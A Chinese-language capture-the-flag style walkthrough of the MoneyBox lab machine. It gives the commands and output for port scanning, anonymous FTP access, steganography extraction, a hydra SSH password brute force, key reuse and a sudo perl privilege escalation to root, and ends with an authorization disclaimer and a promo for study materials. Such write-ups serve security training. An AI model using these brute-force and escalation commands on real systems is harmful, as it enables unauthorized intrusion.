总结
getwebshell
: 目录扫描发现目录 → HTML
中发现隐藏key
→ FTP
匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda
爆破ssh
进入内部
提 权 思 路
: history
发现存在私钥 → 登录其他用户 → perl
权限提升
准备工作
-
启动VPN
获取攻击机IP →
192.168.45.191
-
启动靶机
获取目标机器IP →
192.168.162.230
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次(多次扫描减少误扫)
-
sudo nmap --min-rate 10000 -p- 192.168.162.230
-
PORT STATE SERVICE
-
21/tcp open ftp
-
22/tcp open ssh
-
80/tcp open http
开放的端口-→21,22,80
目标端口对应服务探测
-
# tcp探测
-
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.162.230
-
PORT STATE SERVICE VERSION
-
21/tcp open ftp vsftpd 3.0.3
-
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
-
80/tcp open http Apache httpd 2.4.38 ((Debian))
信息收集-端口测试
21-FTP端口的信息收集
21-FTP版本版本信息
通过Nmap
探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
Nmap
探测信息为21/tcp open ftp vsftpd 3.0.3
-
# ftp配置文件位置
-
/etc/vsftpd.conf
21-FTP端口匿名登录测试(存在)
尝试匿名账号anonymous
以及无密码进行登录测试
-
# 利用ftp协议+ip进行连接测试
-
ftp 192.168.162.230
-
Name: anonymous
21-FTP端口-文件GET收集
登录FTP之后利用ls
查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET
下载文件
-
# binary 以二进制模式传输文件,保证文件完整
-
ftp → binary
-
# 查看目录结构
-
ftp → ls -al
-
# cd 查看存储的文件
-
ftp → cd [file_date_name]
-
# get 下载文件
-
ftp → get [file_name]
发现了trytofind.jpg
下载到了本地
打开是一张纯粹的图片,推测有隐写术
21-FTP端口-PUT上传测试
测试是否可以利用PUT
上传文件
-
# put 上传文件
-
ftp → put [file_name]
不具备上传功能
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
-
# 搜索对应脚本
-
msf6 → searchsploit openssh 7.9
无
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.162.230 -v
显示publickey
、password
就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root
账户的密码弱密码尝试
-
sudo ssh root @192.168.162.230 -p 22
-
# 密码尝试
-
password → root
弱密码尝试失败
22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
80-HTTP端口的信息收集
访问 http://192.168.162.230:80
不是CMS
我们直接从HTML
隐藏信息收集开始
网站说很简单,我不信(¬︿̫̿¬☆)
信息收集-HTML隐藏信息查看
-
# 包括文章中是否写明一些敏感信息
-
curl http://192.168.162.230:80
无隐藏内容
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.162.230:80 -x 302,403
通过扫描发现了一个新的端点/blogs/
因为扫出了目录,深层次的扫描待选
-
信息收集-目录扫描(后缀)
-
信息收集-目录扫描(深度/大字典)
-
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/blogs/端点访问
从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备
curl
了一下发现了新的隐藏路径S3cr3t-T3xt
/S3cr3t-T3xt端点访问
提示是没有
再curl
了一下,发现了新内容....一个key 3xtr4ctd4t4
漏洞利用-getwebshell
key利用
根据现有内容key
应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码
通过CHATGPT
推荐使用工具 steghide
通过chatgpt
获取对应的工具使用方式
steghide extract -sf -xf -p
其中:
-
`` 是包含隐藏信息的图像文件
-
`` 是提取的信息输出文件
-
`` 是解密隐藏信息的密码
修改成我们需要的样子
-
steghide extract -sf trytofind.jpg -xf mian.txt
-
password → 3xtr4ctd4t4
成功获得main.txt
信息泄露获得用户名
打开发现内容 确定密码很简单并且用户名是renu
-
Hello..... renu
-
I tell you something Important.Your Password is too Week So Change Your Password
-
Don't Underestimate it.......
SSH爆破登录
这样我们可以尝试爆破一下renu
的账户,利用工具hyrda
-
# -l 指定用户名 -P指定密码字典
-
hydra -l renu -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
成功得到了账号密码信息
[22][ssh] host: 192.168.162.230 login: renu password: 987654321
22-SSH账号密码登录
获取账号密码之后利用SSH进行登录
-
sudo ssh renu @192.168.162.230 -p22
-
password → 987654321
成功打入内部,第一步完成
内网遨游-getshell
FLAG1获取
-
renu @MoneyBox:~$ find / -name local.txt 2→/dev/null
-
/home/renu/local.txt
-
renu @MoneyBox:~$ cat /home/renu/local.txt
-
ad71d6f825f157311d017a8bd94a7e03
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
-
# 确定发行版本
-
renu @MoneyBox:~$ lsb_release -a
-
No LSB modules are available.
-
Distributor ID: Debian
-
Description: Debian GNU/Linux 10 (buster)
-
Release: 10
-
Codename: buster
发行版本为Debian
,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
-
renu @MoneyBox:~$ uname -a
-
Linux MoneyBox 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux
内核版本为4.19.0
检测当前用户的权限
-
renu @MoneyBox:~$ id
-
uid=1001(renu) gid=1001(renu) groups=1001(renu)
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
-
# 利用sudo -l寻找
-
sudo -l
发现需要密码,尝试987654321
失败
列举出所有suid文件
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
-
# -perm 文件权限
-
find / -perm -u=s -type f 2→/dev/null
/etc/passwd权限收集
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
-
renu @MoneyBox:~$ ls -al /etc/passwd
-
-rw-r--r-- 1 root root 1486 Feb 26 2021 /etc/passwd
/etc/shadow权限收集
-
如果
/etc/shadow
具有写入权限可以尝试覆盖密码提权 -
如果
/etc/shadow
具有可读权限可以爆破密码getcap标志进程收集
高版本下
suid
列举不全,查看getcap
-
# 探查有CAP_SETUID标志的进程
-
/usr/sbin/getcap -r / 2→/dev/null
-
renu @MoneyBox:~$ ls -al /etc/shadow
-
-rw-r----- 1 root shadow 1095 Oct 11 2022 /etc/shadow
-
列举定时任务
查找所有的定时任务,并且查看定时任务是否具有修改权限
-
# 寻找定时任务并修改进行提权
-
cat /etc/crontab
查看历史信息
可能用户留下的历史信息具有有用的信息
history
发现存在登录到其他用户的历史命令
ssh -i id_rsa lily @192.168.43.8
查看一下本用户/home
目录下是否存在SSH
密钥
再查看一下lily
目录下是否存在authorized keys
确认存在之后尝试登录lily
的用户
-
# 修改一下ip
-
ssh -i id_rsa lily @ 192.168.162.230
登录成功,准备进行新的信息收集
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
利用sudo -l寻找
-
lily @MoneyBox:~$ sudo -l
-
Matching Defaults entries for lily on MoneyBox:
-
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
-
User lily may run the following commands on MoneyBox:
-
(ALL : ALL) NOPASSWD: /usr/bin/perl
看到了内容 会心一笑
perl权限提升
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
sudo perl -e 'exec "/bin/sh";'
找到了提权的命令,提权成功
-
lily @MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'
-
# is
-
/bin/sh: 1: is: not found
-
# id
-
uid=0(root) gid=0(root) groups=0(root)
FLAG2获取
-
# cat /root/proof.txt
-
7b0bce8f4b59a3db7d173f3e833e50f8
完结撒花~
总结
查看历史记录也是一件很重要的事情
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线